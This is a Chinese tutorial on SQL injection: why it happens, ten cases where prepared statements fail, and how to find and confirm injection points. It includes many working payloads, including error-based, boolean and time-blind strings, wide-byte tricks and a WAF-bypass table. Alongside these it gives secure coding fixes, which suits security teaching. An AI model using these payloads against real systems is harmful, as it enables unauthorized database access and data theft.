SQL注入(一)原理、预编译失效与注入点定位

一、注入的本质是代码和数据的边界被打破

先看一段真实项目里很常见的登录代码:

$username = $_POST['username'];
$password = $_POST['password'];
$sql = "select * from users where username='$username' and password='$password'";
$row = $pdo->query($sql)->fetch();
if ($row) {
    // 登录成功
}

正常输入 username=admin&password=123456,数据库收到的是一条完整字符串:

select * from users where username='admin' and password='123456';

把 username 换成 admin' -- ,password 随便填,拼出来的是:

select * from users where username='admin' -- ' and password='随便填';

MySQL 里 -- 后面跟一个空白字符就是单行注释,后面的密码判断整段被吃掉,实际执行的语句变成:

select * from users where username='admin';

admin 这个用户只要存在,密码是什么都无所谓,直接登录成功。

这里真正的问题不是引号,而是:数据库拿到的永远是一整条字符串。它没有办法区分哪几个字符是程序员写死的、哪几个是从用户输入拼进来的。SQL 解析器按语法规则把这串字符切成 token、生成语法树、交给优化器生成执行计划——只要用户输入改变了 token 序列,就改变了这条 SQL 的语义。

一句话:代码和数据混在同一条字符串里传输,数据库只能按代码来解析。

这也是为什么预编译能根治注入——它把"结构"和"数据"拆成两次传输,数据库先拿到结构并编译,之后再也见不到数据参与解析。

二、预编译到底防住了什么

2.1 协议层面的差异

以 MySQL 为例,普通查询和预编译在协议层是两套完全不同的流程。

普通查询只发一个包:

COM_QUERY: select * from users where id=1

预编译分两步:

第一步 COM_STMT_PREPARE:  select * from users where id=?
        数据库解析这条模板,编译成执行计划,返回 statement id 和参数个数

第二步 COM_STMT_EXECUTE:  statement id + 参数值(按类型单独编码)
        数据库直接套用已经编译好的执行计划,不再做词法/语法分析

关键点在第二步:参数是作为"值"传过去的,不参与 SQL 解析。你传 1' union select 1,2,3-- ,数据库只会在 id = ? 这个位置上放一个字符串,不会重新解析这段内容。

2.2 各语言里的正确写法

PHP PDO:

$stmt = $pdo->prepare("select * from users where id = ?");
$stmt->execute([$_GET['id']]);
$row = $stmt->fetch();

Java:

PreparedStatement ps = conn.prepareStatement("select * from users where id = ?");
ps.setInt(1, Integer.parseInt(id));
ResultSet rs = ps.executeQuery();

MyBatis:

<select id="getUser" resultType="User">
    select * from users where id = #{id}
</select>

#{} 会被替换成 ? 交给 JDBC 预编译;${} 是纯字符串替换,等于手写拼接。

2.3 一个常见的错误认知

"用了框架/ORM 就安全了"不成立。MyBatis 里只要出现一个 ${},PDO 里只要关掉了真实预编译,JPA 里只要用了原生查询拼字符串,预编译就被绕过去了。后面第三节列的十种场景,本质上都是在说同一件事:参数化只能保护"值"的位置,保护不了"结构"的位置。

三、预编译失效的十种场景

3.1 表名、列名、库名不能参数化

$table = $_GET['table'];
$sql = "select * from $table where id = ?";
$stmt = $pdo->prepare($sql);
$stmt->execute([$id]);

这里的 ? 是安全的,但 $table 是拼进去的。原因在于预编译的工作方式:prepare 阶段数据库就必须知道查哪张表、有哪些列,才能生成执行计划。? 在语法上只能出现在"值"的位置,替代不了标识符(表名、列名、库名)。

判断一个位置能不能用 ?,有个简单标准:把问号替换成 'abc' 后 SQL 还合法吗。where id = 'abc' 合法,from 'abc' 不合法——所以后者只能拼接。

表名位置。假设表名和 id 都是拼接的:

$table = $_GET['table'];
$id    = $_GET['id'];
$sql = "select * from $table where id = $id";

传 ?table=users where 1=1 union select 1,2,3--+,拼接后的完整 SQL 是:

select * from users where 1=1 union select 1,2,3--+ where id =

--+ 把后面残缺的 where id = 注释掉,整条语句等价于:

select * from users where 1=1 union select 1,2,3

1=1 让前半句返回全表,union select 1,2,3 把自定义内容并进结果。列数必须和 users 的字段数一致,对不上会报 The used SELECT statements have a different number of columns——这个报错本身也反过来确认了注入存在。

注意如果 $id 用的是占位符(也就是本节第一段那段代码),--+ 会把占位符一起注释掉,prepare 返回的参数个数变成 0,代码再执行 execute([$id]) 就会报参数数量不匹配。但这不影响结论:SQL 结构已经被改了,属于"应用报错,注入照样成立"的情况。

列名位置。比表名更常见,典型是导出功能让用户勾选字段:

$fields = $_GET['fields'];   // 期望 "id,title,createtime"
$sql = "select $fields from news where id = ?";
$stmt = $pdo->prepare($sql);
$stmt->execute([$id]);

预编译在这里完全正常,? 也绑好了,但 $fields 是拼接的。传 ?fields=1,(select database()),3:

select 1,(select database()),3 from news where id = ?

? 正常绑定,返回结果的第二列就是库名。

真实项目里表名可控的点不多,多见于后台多表查询、报表路由参数;列名可控的点很多,下一节的 order by 就是最典型的一类。

3.2 ORDER BY 后面的字段名和方向

$sort = $_GET['sort'];
$order = $_GET['order'];
$sql = "select id,title,createtime from news order by $sort $order limit 20";

这是实际项目里最常见的注入点之一。原因很现实:排序字段是动态的,而参数化救不了它——? 放到 order by 后面得到的是 order by 'id',MySQL 会把 'id' 当成一个常量字符串,排序直接失效,所以开发者只能拼接。很多 WAF 对 order by 后面的内容检测也很松,因为这里太容易误报。

order by 后面接的是表达式,不是值,所以报错、布尔、时间三种注入在这里都能用。

报错注入

?sort=extractvalue(1,concat(0x7e,(select database())))
?sort=updatexml(1,concat(0x7e,(select user())),1)

拿第一条展开。extractvalue(xml_doc, xpath_expr) 的第二个参数必须是合法 XPath,而 concat(0x7e,(select database()),0x7e) 的结果是 ~security~:

  • 0x7e 是 ~ 的十六进制写法。用十六进制而不是 '~',是为了在引号被过滤时照样能用。
  • ~ 不是合法的 XPath 起始字符,函数直接抛错。
  • MySQL 把出错的字符串原样塞进错误信息。

拼接后的完整 SQL:

select id,title,createtime from news order by extractvalue(1,concat(0x7e,(select database()))) limit 20

页面回显:

XPATH syntax error: '~security~'

两个 ~ 中间就是 database() 的结果。选 ~ 的原因是它可打印、几乎不会出现在正常数据里,方便肉眼定位边界。

updatexml(xml_target, xpath_expr, new_xml) 是同一个套路,同样在第二个参数上做文章。updatexml 和 extractvalue 的报错回显最多 32 个字符左右,读长内容必须分段:

?sort=extractvalue(1,concat(0x7e,(select substr(group_concat(table_name),1,31) from information_schema.tables where table_schema=database())))

第三条 payload 走的是另一条路:

?sort=(select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)

原理是 floor(rand(0)*2) 在 group by 里会被求值两次,而两次结果可能不一致,导致向临时表插重复主键,报错:

Duplicate entry 'security1' for key '<group_key>'

security 后面那个 0 或 1 就是 floor(rand(0)*2) 的产物,去掉它就是库名。这个手法的价值在于函数名里没有 updatexml、extractvalue 这类显眼关键字,被 WAF 拦掉前两个时它是首选替代。

布尔盲注

?sort=if((select ascii(substr(database(),1,1)))=115,id,title)

if(条件, A, B) 条件为真返回 A,否则返回 B。这里真就按 id 排,假就按 title 排,页面上看到的记录顺序不一样。

拼接后:

select id,title,createtime from news order by if((select ascii(substr(database(),1,1)))=115,id,title) limit 20

判断方式是看返回列表第一条记录是谁、整体顺序有没有变,而不是比较返回长度——这是 order by 布尔盲注和 where 布尔盲注最大的区别。前提是 id 和 title 的排序结果确实不同;如果表里所有行的 title 都一样,这个方法就失效,得换成两个取值差异明显的字段。

时间盲注

?sort=if((select ascii(substr(database(),1,1)))=115,id,(select 1 from (select sleep(3))a))

外层套 (select 1 from (select sleep(3))a) 是为了让 sleep(3) 只执行一次。如果直接写 order by sleep(3),这个表达式会按行求值,20 行就睡 20 次,响应时间彻底失去判断价值。

所以在 order by 位置做时间盲注,必须先跑基准:分别测条件为真、条件为假时的响应时间,再定阈值,不要直接套 where 位置那套 sleep(5) 的经验值。

方向参数

$order 同样可控。传 desc,(select 1 from (select sleep(3))a):

select id,title,createtime from news order by id desc,(select 1 from (select sleep(3))a) limit 20

order by 后面可以跟一个排序列表,desc 只作用于紧挨着它的那一项,后面的表达式照样会被求值。

失败排查。order by 位置注入失败,最常见原因是代码做了字段名白名单,比如 in_array($sort, ['id','title','createtime'])。这种情况不用硬碰,直接换同一个接口的 order 方向参数试——很多代码只校验了字段名,忘了校验方向。

3.3 LIMIT 后面的数字

MySQL 协议层其实是支持 limit ?, ? 的,但很多驱动和 ORM 不允许占位符出现在 LIMIT 里,代码只能拼:

$start = $_GET['start'];
$size  = $_GET['size'];
$sql = "select * from news order by id desc limit $start, $size";

LIMIT 只接受数字常量,这里用不了 union、and 这类条件表达式。能利用的方式取决于你控制的是第几个参数。

可控的是最后一个参数(limit 0, $size)时,可以用 PROCEDURE ANALYSE:

?size=1 procedure analyse(extractvalue(1,concat(0x7e,database())),1)

拼接后语法是合法的,因为 PROCEDURE 本来就在 LIMIT 之后:

select * from news order by id desc limit 0, 1 procedure analyse(extractvalue(1,concat(0x7e,database())),1)

可控的只有第一个参数(limit $start, 10)时这条路走不通——PROCEDURE 必须出现在整个 LIMIT 子句之后,塞在中间就是语法错误。这时要么试着直接改数字改分页,要么回头去找同一接口里别的参数(order by、where)下手,LIMIT 首位本身价值很低。

补一句版本限制:PROCEDURE ANALYSE 在 MySQL 5.7 已废弃、8.0 被移除,只对老版本有效。所以 limit 位置的注入排查优先级不高,但不能跳过——"分页参数直接拼进 limit"这个写法本身就说明这个接口的 SQL 拼装是随意的,同一处往往还藏着别的注入点。

3.4 IN 子句的列表

$ids = implode(',', $_GET['id']);   // id 是数组
$sql = "select * from users where id in ($ids)";

为什么这里必须拼接:? 的数量要和数组元素个数一一对应,而元素个数是用户决定的。写死 in (?,?,?) 传两个元素就没法处理,所以绝大多数代码直接 implode。

传 ?id[]=1) union select 1,2,3--+(参数名带方括号,PHP 会解析成数组),implode 得到字符串 1) union select 1,2,3--+,拼接后:

select id,username,email from users where id in (1) union select 1,2,3--+)

) 的作用是闭合代码自带的左括号。in ( 是模板里的,必须先闭上才能接 union,末尾多出来的 ) 用 --+ 注释掉。union select 的字段数要和前半句一致(这里 3 个),对不上会报 The used SELECT statements have a different number of columns。

字符串列表的闭合不一样:

$ids = implode("','", $_GET['id']);
$sql = "select * from users where name in ('$ids')";

payload 变成 ?id[]=1') union select 1,2,3--+:

select * from users where name in ('1') union select 1,2,3--+')

字符串列表要同时闭合单引号和括号,顺序是 '),反了就是语法错误。

这个位置值得单独留意两点:参数名是 id[] 这种数组形式,很多 WAF 规则匹配不到;人工测试时也容易只试 ?id=1,忽略 ?id[]=1。同类还有 ids=1,2,3 这种逗号分隔的字符串参数,后端 explode 之后同样会拼进 in。

3.5 MyBatis 里的 ${}

<select id="search" resultType="News">
    select * from news where title like '%${keyword}%' order by ${sort}
</select>

${} 是字符串替换,SQL 里直接展开,等于手写拼接。keyword 传 %' union select 1,2,3--+:

select * from news where title like '%%' union select 1,2,3--+%'

like '%%' 匹配所有行,--+ 把后面残留的 %' 一起注释掉,union select 1,2,3 的内容直接并进返回列表。列数要跟 news 表一致。

这里还有个容易被忽略的点:'%${keyword}%' 的写法让 % 是我们可控的通配符,即使没到 union 那一步,传一个 % 就能查出全表。所以这个点既是注入,也是信息泄露。

正确的 like 写法是用 concat 把通配符和参数分开:

where title like concat('%', #{keyword}, '%')

但这只解决注入,没解决 % 和 _ 作为通配符导致的越权查询——这两个字符需要在业务层转义,或者用 escape 子句。这是 like 和普通参数的差别。

3.6 ORM/QueryWrapper 的字符串接口

Java 项目现在是重灾区。MyBatis-Plus 的几个方法直接吃字符串,字段名不做校验:

// 1) 排序字段来自前端
queryWrapper.orderByDesc(sort);

// 2) last 把字符串原样追加到 SQL 末尾,常用于拼 limit
queryWrapper.last("limit " + start + "," + size);

// 3) apply 把字符串直接当条件
queryWrapper.apply("id = " + id);

逐个看拼接结果。

orderByDesc(sort) 生成的是 order by <sort> desc。传 sort=id,(select 1 from (select sleep(3))a):

select ... from news where ... order by id,(select 1 from (select sleep(3))a) desc

和 3.2 原理一样,时间盲注成立。

last() 接收的是整段尾巴。代码如果写成 last(orderBySql)、last(limitSql) 这种把前端字符串直接塞进去的形式,传:

limit 0,1 procedure analyse(extractvalue(1,concat(0x7e,database())),1)

拼接后:

select ... from news where ... limit 0,1 procedure analyse(extractvalue(1,concat(0x7e,database())),1)

报错里带出库名。

apply() 会把字符串包进 () 放进 where。传 id 为 1 or 1=1:

select ... from news where (id = 1 or 1=1)

apply 的常见误用是拼"动态条件",比如按前端传的字段名过滤,注入面比重排序更大。

需要说明版本差异:MyBatis-Plus 较新版本在部分 API 上加了 SQL 关键字黑名单(SqlInjectionUtils 一类的检查),具体哪些方法加了、从哪个版本开始加,各版本不一致,要以实际依赖为准。遇到被拦,先试注释、大小写、编码这些常规绕过,或者换一个没加检查的 API。

排查 Java 项目的时候,last(、apply(、orderByAsc(、orderByDesc( 这四个方法名直接全局搜索,比翻 XML 快得多。

3.7 存储过程和动态 SQL 拼接

存储过程和动态 SQL 的拼接发生在数据库内部,你没法通过改应用代码修掉,只能改存储过程本身。

Oracle:

execute immediate 'select * from users where name=''' || v_name || '''';

v_name 传 ' or 1=1--,拼出来:

select * from users where name='' or 1=1--'

条件恒真,返回全表。

SQL Server:

exec('select * from users where name=''' + @name + '''');

@name 传 ' or 1=1--,结果一样。另一种写法是先拼好再执行:

set @sql = 'select * from users where name=''' + @name + '''';
exec sp_executesql @sql;   -- 拼接发生在 @sql 构造时,sp_executesql 保护不了

很多人以为用了 sp_executesql 就安全,其实它的安全性来自参数化调用,不是这个函数本身。下面这种才是安全的:

exec sp_executesql N'select * from users where name=@n', N'@n nvarchar(50)', @n=@name;

参数放在 @n 里,不参与 SQL 解析。

MySQL 存储过程:

set @sql = concat('select * from users where name=''', v_name, '''');
prepare stmt from @sql;
execute stmt;

这里的 prepare 同样保护不了——拼好的 @sql 已经是一条被污染的完整语句。正确写法是用 ? 占位符加 using:

prepare stmt from 'select * from users where name=?';
set @a = v_name;
execute stmt using @a;

Oracle 对应的是 execute immediate '... where name=:1' using v_name;。

一句话总结:参数化必须在"拼接发生的那一层"做。外层调用用了预编译,内层还在 concat,等于白做。

3.8 宽字节注入

这一类比较特殊:代码明明用了转义函数,预编译也可能用着,但还是能注入。

前提交代清楚:数据库和连接字符集是 GBK(或者 GB2312、GB18030),代码用了 addslashes、mysql_real_escape_string、magic_quotes_gpc,或者 PDO 开启了模拟预处理。

原理是 GBK 编码里,一个双字节字符的第一个字节范围是 0x81-0xFE,第二个字节范围是 0x40-0xFE。转义函数做的事是把 '(0x27)变成 \'(0x5C 0x27)。如果我们在引号前面塞一个字节 0xDF:

输入:      %df'
转义后:    %df%5c%27
GBK 解码:  0xdf 0x5c 是一个合法的 GBK 汉字,%5c 被吃掉
剩下:      %27  ->  单引号逃逸

payload 和普通注入完全一样,只是必须在引号前带上那个"吃转义符"的字节:

?id=%df' union select 1,2,3--+
?id=%df' and 1=1--+
?id=%df%27%20union%20select%201,2,3--+

怎么确认目标存在宽字节注入,按下面三步走:

第一步:?id=1'          -> 报错(转义生效,说明有转义函数,但还不能说明是 GBK)
第二步:?id=1%df'       -> 不报错(%df 和 %5c 组成汉字,单引号逃逸后刚好闭合)
第三步:?id=1%df' and 1=1--+   -> 返回正常
        ?id=1%df' and 1=2--+   -> 返回空或异常

第三步的一真一假成立,才能确认宽字节注入可用。只做前两步容易误判:%df' 不报错也可能只是页面把错误吞了。真正稳的判断是 and 1=1 / and 1=2 的差异,和普通注入的判断逻辑一致。

除了 %df,0x81 到 0xFE 里凡是能和 0x5C 组成合法 GBK 字符的都能用,%bf、%81 是常见备选。注意不是所有首字节都行,比如 %a1 配 0x5C 就不构成合法 GBK 字符,试的时候要成对验证('\xdf\x5c'、'\xbf\x5c'、'\x81\x5c' 在 GBK 下分别解码为"運""縗""乗")。这是 sqli-labs Less-32 到 Less-37 的主题。

宽字节还有一个变种:把转义符本身换掉。如果代码用的是 mysql_real_escape_string 并且明确指定了 utf8 字符集,而列又是 gbk,转义按 utf8 计算、解析按 gbk 计算,两边字节数不一致,同样能挤出单引号。所以加固要同时做两件事:把连接字符集设成 utf8mb4 或 binary,并且关掉模拟预编译。

3.9 二次注入

二次注入的特点是:注入 payload 第一次进入数据库时是被转义、安全的,出库之后再次拼接才出问题。

以 sqli-labs Less-24 的改密码功能为例。注册一个用户名 admin'#:

$username = addslashes($_POST['username']);   // admin\'#
$sql = "insert into users(username,password) values('$username','$pass')";

addslashes 把 ' 变成 \',SQL 解析时 MySQL 又把 \' 还原成一个字面的 '。所以数据库里真正存下来的值是 admin'#,反斜杠没了。 这就是二次注入的起点。

然后是改密码功能,代码先从 session 里取用户名,再拼 SQL:

$username = $_SESSION['username'];   // admin'#
$sql = "update users set password='$newpass' where username='$username'";

拼出来:

update users set password='新密码' where username='admin'#'

# 把后面的 ' 注释掉了,条件变成 where username='admin',结果是改了 admin 的密码,而攻击者自己的账号根本没被动。

怎么确认目标存在二次注入,关键是验证"入库的值到底长什么样"。两个办法:

  1. 找一个能看到自己用户名的页面(个人中心、发帖后的作者名),如果显示的是 admin'# 而不是 admin\'#,说明反斜杠已经被 SQL 解析吃掉了。
  2. 如果站点有别的注入点,直接 select username from users where id=<自己的id> 读出来看。

确认存的是 admin'# 之后,再去找哪里会把这个值当条件用——改密码、改邮箱、查订单,只要是从数据库读出来又拼进 SQL 的地方都算。这类点单独测的时候全部是安全的,因为入口处确实转义了,只有把整条数据流串起来才看得见。

识别二次注入不能只看单个接口。要看数据的完整生命周期:入口做了转义 → 入库 → 出库被信任 → 再次拼接。典型场景就是用户名、昵称、备注、文章标题、邮箱这类"存进去以后还会被当作条件查出来"的字段。

3.10 预编译实现本身的坑

前面九种是"用不了预编译",这一种是"以为用了预编译"。

PDO 模拟预处理。PHP PDO 的 ATTR_EMULATE_PREPARES 在很多环境下默认是 true,这时 PDO 并不真的调 COM_STMT_PREPARE,而是在客户端自己拼接加转义,然后发一条普通 COM_QUERY。这种情况下前面 3.8 讲的宽字节注入依然有效——你以为在用预编译,实际用的是转义函数。

判断当前连接是不是模拟模式:

var_dump($pdo->getAttribute(PDO::ATTR_EMULATE_PREPARES));   // true 就是模拟

关掉:

$pdo = new PDO($dsn, $user, $pass, [
    PDO::ATTR_EMULATE_PREPARES => false,
    PDO::ATTR_ERRMODE          => PDO::ERRMODE_EXCEPTION,
]);

关掉之后有两个副作用要提前知道:同一个命名占位符(:name)不能再重复出现,同一位置出现两次必须拆成两个参数;另外 LIMIT ? 在很老的 MySQL 版本和部分驱动上行为不一致,上线前要实测。这两点正是 EMULATE_PREPARES 默认开着的原因——用兼容性和一点性能换了安全性。

占位符放错位置不会报错,只会静默失效。这是很多注入漏洞的源头。比如有人想"参数化排序字段":

$stmt = $pdo->prepare("select * from news order by ?");
$stmt->execute([$_GET['sort']]);

这条语句不报错、也不注入,但排序完全失效——数据库把 ? 当成一个常量字符串,等价于 order by 'id',永远按同一顺序返回。开发者发现排序不好使,通常的"修复"是把 ? 换回 $sort 拼接,预编译就此消失。把参数化当万能药,比不用参数化更危险,因为后者至少会让人保持警惕。

字符集设置方式不对。mysql_real_escape_string 判断字符集用的是 mysql_set_charset() 设的值,而不是 SET NAMES:

mysql_query("SET NAMES gbk");                       // 连接层是 gbk
$name = mysql_real_escape_string($_GET['name']);    // 转义却还按 latin1 算字节

连接层按 gbk 解析、转义层按 latin1 计算长度,两边对不上,宽字节注入就回来了。正确做法是 mysql_set_charset('utf8mb4'),或者干脆换掉这套函数。

框架的 raw 逃生门。各种 ORM 都提供 raw、literal、unescaped、Statement 之类的接口,只要有人用过一次,预编译就跟没有一样。这类调用点往往还配一句注释"这里前端传的值已经校验过了",实际并没有。审计时把这几个关键字全搜出来逐个看。

四、怎么判断一个功能点有没有注入

4.1 先把输入点列全

很多人测注入只测 URL 参数,漏掉的比测到的多。按下面这张表过一遍:

位置说明
URL query最常规,?id=1
POST bodyform 表单、JSON 字段、XML 节点、multipart
Cookie尤其是有"记住我"、主题、语言、分页大小这类配置项
Referer常被写进访问日志表,或用于来源校验
User-Agent同上,很多站点会入库
X-Forwarded-For / X-Real-IP取真实 IP 的地方几乎都会入库
路径参数/index.php/1/2、伪静态 .html 后缀前的那段
排序/分页参数sort、order、page、size、limit、offset
数组参数id[]=1、ids=1,2,3
文件上传的文件名入库时会拼 SQL
导出/报表参数拼接更随意,且常无回显

JSON 的坑在于字段类型。Burp 里看到 {"id": 1} 是数字,很多人就直接放弃了。实际上后端可能用字符串拼接,把 1 换成 1 and 1=1 一样能打:

POST /api/user/detail HTTP/1.1
Content-Type: application/json

{"id": "1 and 1=1"}

4.2 探测顺序

不要上来就 sqlmap -u,先手工确认三件事:有没有注入、是什么类型、有没有 WAF。数字型和字符型分开测,两种的探测思路不一样。

数字型参数(?id=1),假设后端是 where id = $id:

id=1              # 基准,记下页面内容和长度
id=2-1            # 若结果与 id=1 完全一致,说明参数参与了算术运算
id=1+0            # 同上,再确认一次
id=1 and 1=1      # 正常
id=1 and 1=2      # 结果为空或报错,布尔条件生效
id=1'             # 数字型下这个引号会直接造成语法错误
id=1"
id=1 and sleep(5) # 响应时间明显变长

关键在于 2-1 和 1+0:后端如果是字符串拼接,这两个会真的参与运算并返回 id=1 的记录;如果结果是空或者报错,说明参数被当成字符串处理或做了强类型转换,那就往字符型方向测。id=1' 在数字型下必然报错,报错本身就是"参数进了 SQL"最直接的证据,比任何真假对比都硬。

字符型参数(?name=abc),假设后端是 where name = '$name':

name=abc'                # 多一个引号破坏语法 -> 报错
name=abc' and '1'='1     # 闭合后条件为真 -> 正常
name=abc' and '1'='2     # 闭合后条件为假 -> 空
name=abc'--+             # 注释掉残留的引号,不再报错
name=abc'%23             # 同上,%23 是 URL 编码的 #
name=abc') and ('1'='1   # 括号闭合
name=abc" and "1"="1     # 双引号闭合

abc' 报错、abc'--+ 不报错,这一对是判断单引号闭合最干净的证据:加引号破坏了语法,加注释符又把语法补了回来,说明模板确实是 '$name'。反过来,如果 abc' 根本不报错,可能是双引号模板、括号模板,也可能只是错误回显被关了,需要继续把 ")、')) 试一遍。

基准比较是做布尔盲注的前提。判定时不能只看页面"是否正常",要抓 id=1、id=1 and 1=1、id=1 and 1=2 三个响应,对比返回长度、状态码和关键字。有些站点 1=2 只是返回空列表而不报错,长度差几十字节,肉眼看不出,必须靠工具做字节级对比。

判断依据按可靠程度排序:

现象说明
数据库报错回显最直接,还能带出库名版本
1=1 与 1=2 返回长度不同布尔盲注确认
响应时间出现 5 秒落差时间盲注确认,多测两次排除网络抖动
HTTP 状态码变化500/404 切换也可能是注入
返回内容关键字变化比如"用户不存在"变成空

只测 and 1=1 不测 and 1=2 是漏报的头号原因。 and 1=1 永远返回正常结果,它本身不能证明任何事,必须成对使用。

4.3 被过滤时的探测 payload

WAF 或代码过滤了关键字时,探测用的 payload 要准备好替代品,否则会把"有注入但被拦"误判成"没注入"。

被过滤替代写法
空格/**/、%09、%0a、%0b、%0c、%0d、+、括号包裹
and / or&&、||、%26%26、xor、!
=like、regexp、between 1 and 1、in、< >
逗号substr(x from 1 for 1)、limit 1 offset 0、join
引号0x十六进制、char()、unhex()
union select双写、大小写、/*!50000union*/
select/*!50000select*/、sel/**/ect
sleepbenchmark(5000000,md5(1))、笛卡尔积
information_schemasys.schema_table_statistics、innodb_table_stats、无列名注入

举几个组合例子:

-- 空格和 and 都被过滤
?id=1%0a%26%26%0a1=1
?id=1/**/&&/**/1=1

-- = 被过滤
?id=1' and '1' like '1
?id=1' and 1 between 1 and 1

-- 逗号被过滤
?id=1' and ascii(substr(database() from 1 for 1))>100--+
?id=1' and ascii(substr(database(),1,1))>100--+

-- and、空格、逗号、= 全被过滤
?id=1'%09%26%26%09ascii(substr(database()%09from%091%09for%091))%3E100--+

逐组说明这几条在干什么:

  • %0a%26%26%0a1=1:%0a 是换行,%26%26 是 &&。MySQL 把换行当空白符,&& 等价于 and,所以这条和 1 and 1=1 完全等价,绕过了针对空格和 and 的规则。
  • '1' like '1:like 在这里当等号用,'1' like '1' 为真。注意末尾少一个引号是故意的——它借用模板自带的引号闭合。
  • 1 between 1 and 1:等价于 1=1。这里的 and 是 between 的语法组成部分,WAF 一般不敢拦,拦了会误伤大量正常 SQL。
  • substr(database() from 1 for 1):MySQL 支持 substr(str FROM pos FOR len) 这种标准 SQL 写法,完全不出现逗号,逗号被过滤时用它替代 substr(str,1,1)。
  • 最后一条把四种绕过叠在一起:换行代替空格、&& 代替 and、from...for 代替逗号、%3E 代替 >。单条绕过被拦时,把多个手法叠加往往能过。

between 1 and 1 这种写法里 and 是语法关键字,一般不会被拦,因为拦了会误伤正常业务。

4.4 漏报的几个高发场景

  1. 搜索型参数。搜索框传 % 会被当成通配符,%' and '1'='1 才是正确姿势,因为要利用它自带的引号闭合。
  2. 参数只在特定分支进 SQL。比如 status 只有传 2 时才拼进 SQL,传 1 走的是缓存。测试要遍历参数值的取值空间。
  3. 分页、排序、数组参数。前面说过,WAF 规则和人工测试都容易跳过。
  4. 时间盲注用了 sleep 但被过滤。换成 benchmark 或重查询再试一次,不要直接判定无注入。
  5. 响应里没有回显。这时候要往布尔和时间两条路走,而不是放弃。
  6. 二次注入。单点测试全部安全,但数据流串起来就有问题,只能靠审计和人工推理。

五、闭合类型和注释符

5.1 常见闭合类型

类型需要的闭合典型代码
数字型不需要引号where id = $id
单引号字符型'where name = '$name'
双引号字符型"where name = \"$name\"
括号 + 单引号')where id = ('$id')
括号 + 双引号")where id = (\"$id\")
双层括号'))、"))where id = (('$id'))
反引号`where \$col` = 1`
方括号(MSSQL)]where [$col] = 1
宽字节%df'GBK + addslashes

5.2 靠报错判断闭合

报错信息里的 SQL 片段是最快的判断依据。假设代码是 where id = '$id',传 id=1':

You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near ''1'' at line 1

near ''1'' 里有两个引号夹着 1:一个来自代码模板,一个来自我们的输入,说明模板是 '$id',用 ' 闭合是对的。

如果 id=1' 不报错,先怀疑错误回显被关了——不少站点会把 SQL 异常统一转成 500 或者一个固定错误页,这时候报错信息里什么都没有。改用布尔对比判断闭合:

?id=1' and '1'='1     -> 正常
?id=1' and '1'='2     -> 异常

一真一假说明 ' 就是正确的闭合方式,与报错是否可见无关。

再补一句报错的读法:报错里的 near '...' 片段会把你输入的原始形态也带出来。如果传 1' 报错里出现 near ''1'',说明模板是 '$id';如果出现 near '1\'',说明转义生效了但语法仍然错(例如模板是 ('$id'),少了个右括号);如果 # 或 -- 之后的内容不再出现在报错里,说明注释符生效。同一串字符在报错里的形态,就是它进 SQL 时的形态,这是判断闭合和过滤最省事的手段。

SQL Server 的报错长这样,同样是单引号不闭合:

Unclosed quotation mark after the character string ''.

Oracle:

ORA-01756: quoted string not properly terminated

报错信息本身还直接暴露了数据库类型和版本,这在后面的利用里很有用。

5.3 注释符对照

数据库单行注释多行注释备注
MySQL-- (后跟空白)、#/**/-- 后必须有空白;URL 里 # 要写 %23
SQL Server--/**/-- 后不强制要求空白
Oracle--/**/
PostgreSQL--/**/
SQLite--/**/

URL 编码上的三个坑:

  1. # 在 URL 里是 fragment 分隔符,浏览器和部分中间件直接不发送 # 后面的内容,必须写 %23。
  2. -- 后面需要一个空白字符,URL 里写成 --+ 或者 --%20。写在请求末尾时 -- 容易被截掉,--+ 更稳。
  3. + 在 URL 里会被解码成空格,正好满足 -- 的要求;但在 POST body 的 application/x-www-form-urlencoded 里也是同样行为,而在 JSON body 里 + 就是字面的加号,不能当空格用。

5.4 闭合 + 注释的组合套路

实战里闭合和注释是绑在一起用的,判断字段数时最明显:

?id=1 order by 3--+            数字型
?id=1' order by 3--+           单引号
?id=1') order by 3--+          括号 + 单引号
?id=1")) order by 3--+         双层括号 + 双引号
?id=1" order by 3--+           双引号
?id=1 order by 3%23            用 # 代替 --

每换一种闭合都要重新试,order by 的列数判断失败,很多时候不是列数不对,而是闭合不对。判断标准是:报错说明闭合不对或列数超了,页面正常说明列数还在范围内。

--+ 不生效的时候,先确认是不是 URL 里的 + 被 WAF 或网关吃掉了,可以换成 --%20 或者 %23 再试一次。数据库类型不确定时,/**/ 是通用性最好的注释符,五个数据库都支持。


下一篇讲具体怎么把数据取出来:联合查询、报错注入的各个函数、布尔和时间盲注的实现,以及盲注脚本的写法。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
下一篇